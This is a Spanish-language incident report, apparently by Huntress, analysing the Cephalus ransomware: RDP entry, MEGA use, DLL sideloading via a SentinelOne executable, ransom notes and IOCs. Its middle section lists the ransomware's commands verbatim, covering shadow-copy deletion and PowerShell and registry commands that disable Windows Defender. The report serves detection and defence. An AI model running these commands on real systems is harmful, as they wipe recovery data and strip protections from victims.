A mediados de agosto, nos topamos con una variante de ransomware llamada Cephalus en dos incidentes distintos. Recientemente, hemos visto una serie de familias de ransomware más nuevas (como Crux y KawaLocker), así que cuando encontramos una nota de rescate en estos incidentes que empezaba con las palabras "We're Cephalus", nuestro interés se despertó.
Ambos incidentes involucraron el uso del protocolo de escritorio remoto (RDP) a través de cuentas comprometidas sin autenticación multifactor (MFA) como vector de acceso inicial. También vimos a los atacantes usar la plataforma de almacenamiento en la cloud MEGA, probablemente para la exfiltración de datos.
Quizás la parte más interesante de los incidentes de Cephalus es que usaron un proceso único para ejecutar el ransomware, que consistió en hacer sideloading de una biblioteca de vínculos dinámicos (DLL) a través de un archivo ejecutable legítimo de SentinelOne (SentinelBrowserNativeHost.exe), para luego cargar un archivo data.bin mediante la DLL que contiene el código real del ransomware.
¿Qué es el ransomware Cephalus?
Encontramos el nombre del ransomware, Cephalus, en la nota de rescate vinculada al incidente. Aunque no se ha publicado ningún análisis detallado específicamente sobre una variante de ransomware con el nombre Cephalus, sí encontramos el ransomware mencionado en algunos sitios web que indican a los usuarios cómo eliminarlo.
También encontramos varias publicaciones en Twitter que señalaban al ransomware e incluían información como notas de rescate relevantes y extensiones. Por ejemplo, el 1 de agosto de 2025, @siri_urz compartió una nota de rescate de Cephalus. Casi al mismo tiempo, BitShadow/@fbgwls245 también compartió una nota de rescate similar, la cual se ilustra en la Figura 1.
El nombre "Cephalus" se refiere a una figura importante de la mitología griega, el hijo de Hermes que vivió una vida llena de historias y que terminó matando a su esposa con una jabalina que no podía fallar, cuando ella lo espiaba. El nombre proviene de la raíz griega para "cabeza", y dada la tragedia que sufrió quien llevó ese nombre, no sorprende que "Cephalus" se haya usado para nombrar una variante de ransomware. Quizás la única pregunta es, ¿por qué no se usó antes?
Sideloading de DLL mediante un ejecutable de SentinelOne
Recientemente vimos dos incidentes que involucraban al ransomware Cephalus, ocurridos el 13 y el 16 de agosto. En ambos incidentes los atacantes intentaron desplegar el ransomware, pero uno de los despliegues falló gracias a que Microsoft Defender detectó y puso en cuarentena el archivo.
Después de obtener el acceso inicial mediante RDP, vimos al actor de amenazas usar MEGA en ambos incidentes, probablemente como parte de las actividades de exfiltración de datos, antes de que se desplegara el ransomware. El despliegue del ransomware no parece involucrar ningún argumento de línea de comandos, lo que podría indicar que el ransomware no se despliega "a través de la red", ni contra recursos compartidos accesibles en otros endpoints remotos.
Un aspecto interesante del ransomware es que se despliega mediante sideloading de DLL. SentinelBrowserNativeHost.exe, un ejecutable legítimo de SentinelOne, se ejecutó desde la carpeta de Descargas del usuario, lo que luego cargó SentinelAgentCore.dll. A partir de esto, se cargó posteriormente data.bin. Los analistas de Huntress no pudieron recolectar una copia del archivo data.bin desde el endpoint.
En el endpoint donde el ransomware se ejecutó con éxito, la siguiente línea de comandos inició el proceso:
C:\Users\[user]\Downloads\SentinelBrowserNativeHost.exe
Es particularmente notable que ambas organizaciones afectadas tenían instancias legítimas de SentinelOne en ejecución. Durante ambos incidentes, el archivo SentinelBrowserNativeHost.exe se encontró en la carpeta de Descargas del usuario comprometido. La Figura 2 ilustra los resultados de una búsqueda en ELK únicamente de "SentinelBrowserNativeHost.exe" que arrojó más de 2,5 millones de resultados en un período de 24 horas.
Figura 2: Resultados de búsqueda en ELK para SentinelBrowserNativeHost.exe
Esto demuestra que, dentro de las infraestructuras de los clientes de Huntress, los productos legítimos de SentinelOne tienen un uso significativo. Sin embargo, al modificar la búsqueda para buscar únicamente esos ejecutables dentro de la carpeta de Descargas de un usuario, no se obtiene ninguna respuesta durante el mismo período.
Al ejecutarse, el ransomware comienza por correr una serie de comandos integrados diseñados para impedir la recuperación del sistema. Primero, apareció el siguiente comando como proceso hijo de SentinelBrowserNativeHost.exe:
vssadmin delete shadows /all /quiet
Este comando se observa con mucha frecuencia, ya sea ejecutado manualmente por un actor de amenazas o lanzado por un proceso ejecutable de ransomware. En el caso de Cephalus, le siguen varios comandos, incluyendo una serie de líneas de comandos de PowerShell que crean exclusiones en Windows Defender:
Modificaciones del Registro (mediante reg.exe) para deshabilitar la funcionalidad de Windows Defender, seguidas de más comandos de PowerShell para detener y deshabilitar los servicios de Windows asociados con Windows Defender.
La lista completa de comandos aparece de la siguiente manera:
vssadmin delete shadows /all /quiet
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionProcess \"svchost.exe\""
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Windows\System32\svchost.exe\""
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Windows\Temp\""
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionExtension \".cache\""
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionExtension \".tmp\""
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionExtension \".dat\""
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionExtension \".sss\""
Luego, modificaciones del Registro (mediante reg.exe) para deshabilitar la funcionalidad de Windows Defender:
cmd /C "reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Windows\System32\svchost.exe\" /t REG_DWORD /d 0 /f"
cmd /C "reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f"
cmd /C "reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f"
cmd /C "reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\" /v DisableAntiSpyware /t REG_DWORD /d 1 /f"
cmd /C "reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f"
cmd /C "reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f"
Por último, más comandos de PowerShell para detener y deshabilitar los servicios de Windows asociados con Windows Defender:
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Stop-Service -Name \"SecurityHealthService\" -Force -ErrorAction SilentlyContinue"
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Stop-Service -Name \"Sense\" -Force -ErrorAction SilentlyContinue"
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Stop-Service -Name \"WinDefend\" -Force -ErrorAction SilentlyContinue"
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Stop-Service -Name \"WdNisSvc\" -Force -ErrorAction SilentlyContinue"
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Set-Service -Name \"WinDefend\" -StartupType Disabled -ErrorAction SilentlyContinue"
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Set-Service -Name \"WdNisSvc\" -StartupType Disabled -ErrorAction SilentlyContinue"
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Set-Service -Name \"SecurityHealthService\" -StartupType Disabled -ErrorAction SilentlyContinue"
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Set-Service -Name \"Sense\" -StartupType Disabled -ErrorAction SilentlyContinue"
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Set-MpPreference -DisableRealtimeMonitoring $false"
Estos comandos ocurren antes del cifrado de archivos y la creación de la nota de rescate.
El uso de almacenamiento en la cloud de MEGA también se observó en ambos incidentes, y probablemente estuvo asociado con actividades de exfiltración de datos. La figura 3 ilustra el linaje de procesos de uno de los incidentes.
Figura 3: Linaje de procesos que muestra el uso de MEGA
La línea de comandos del último comando ejecutado tenía el siguiente aspecto:
C:\Users\[user]\AppData\Local\MEGAcmd\MEGAcmdUpdater.exe --normal-update --do-not-install --version 2010100
Durante el otro incidente, se observó que c:\users\[user]\appdata\local\megacmd\megacmdupdater.exe se lanzó como una tarea programada.
Notas de rescate de Cephalus: Qué observamos
Otro aspecto único de los incidentes de Cephalus giró en torno a las notas de rescate involucradas, que enlazaban a artículos de noticias sobre el ransomware en un aparente intento de presionar a la víctima y, a la vez, subrayar la legitimidad de Cephalus como amenaza. Esto marcó una diferencia notable respecto a las notas de rescate que antes se habían publicado públicamente en Twitter, las cuales describimos en la figura 1 anterior.
Durante el incidente que involucró a un cliente de Huntress en el que el ransomware se desplegó con éxito, la figura 4 ilustra un extracto de la nota de rescate.
Como con otras variantes de ransomware, la nota de rescate hace que la atribución sea algo directo; la nota comienza con las palabras: “We’re Cephalus” (Somos Cephalus). Como hemos observado en notas de rescate asociadas con otras variantes, luego afirma haber robado “confidential data” (datos confidenciales), y después da instrucciones sobre cómo contactar a los actores de amenazas.
Figura 4: Extracto de una nota de rescate de Cephalus que enlaza a dos “artículos de noticias”
La nota de rescate del incidente de mediados de agosto observado por el Huntress SOC fue un poco diferente de las compartidas en la plataforma de Twitter, en el sentido de que estaba dirigida al dominio de la organización afectada, en lugar de comenzar con “Dear admin” (Estimado administrador). Además, la nota de rescate ahora contiene enlaces a dos artículos en línea asociados con despliegues exitosos previos del ransomware Cephalus, en un aparente intento de dar credibilidad a las afirmaciones de robo de datos, e infundir un sentido de urgencia para contactar a los actores de amenazas.
El artículo de InsecureWeb enlazado en la nota de rescate fue publicado, según se informa, el 9 de julio, y el artículo de DarkWebInformer fue publicado, según se informa, el 12 de agosto, lo que probablemente indica que los actores de amenazas de Cephalus son relativamente nuevos en la escena.
La nota de rescate encontrada en el endpoint del cliente de Huntress luego comparte un enlace y una contraseña para un repositorio de GoFile[.]io, invitando a la organización afectada a verificar una muestra de los datos exfiltrados, antes de pasar a la declaración ilustrada en la figura 5.
Figura 5: Extracto de una nota de rescate de Cephalus
Conclusión
El ransomware sigue siendo un flagelo en todo internet, debido en gran parte al efecto visible y tangible que tiene sobre las organizaciones afectadas. Sin embargo, más allá de cómo cifra los archivos, entender las acciones que ocurren antes del despliegue del malware puede abrir una vía para prevenir, detectar y responder a estos ataques antes de que se cifren los archivos y se escriban las notas de rescate.
IOC
|
Indicador |
Descripción |
|
Desktop-uabs01 |
Estación de trabajo del actor de amenazas |
|
.sss |
Extensión de archivo cifrado |
|
recover.txt |
Nombre del archivo de la nota de rescate |
|
SentinelBrowserNativeHost.exe SHA256 |
Archivo ejecutable de SentinelOne |
|
SentinelAgentCore.dll SHA256 |
DLL utilizada para lanzar el ransomware |
|
data.bin |
Archivo que contiene el código del ransomware |
|
C:\Users\[user]\Downloads |
Carpeta de operaciones del actor de amenazas |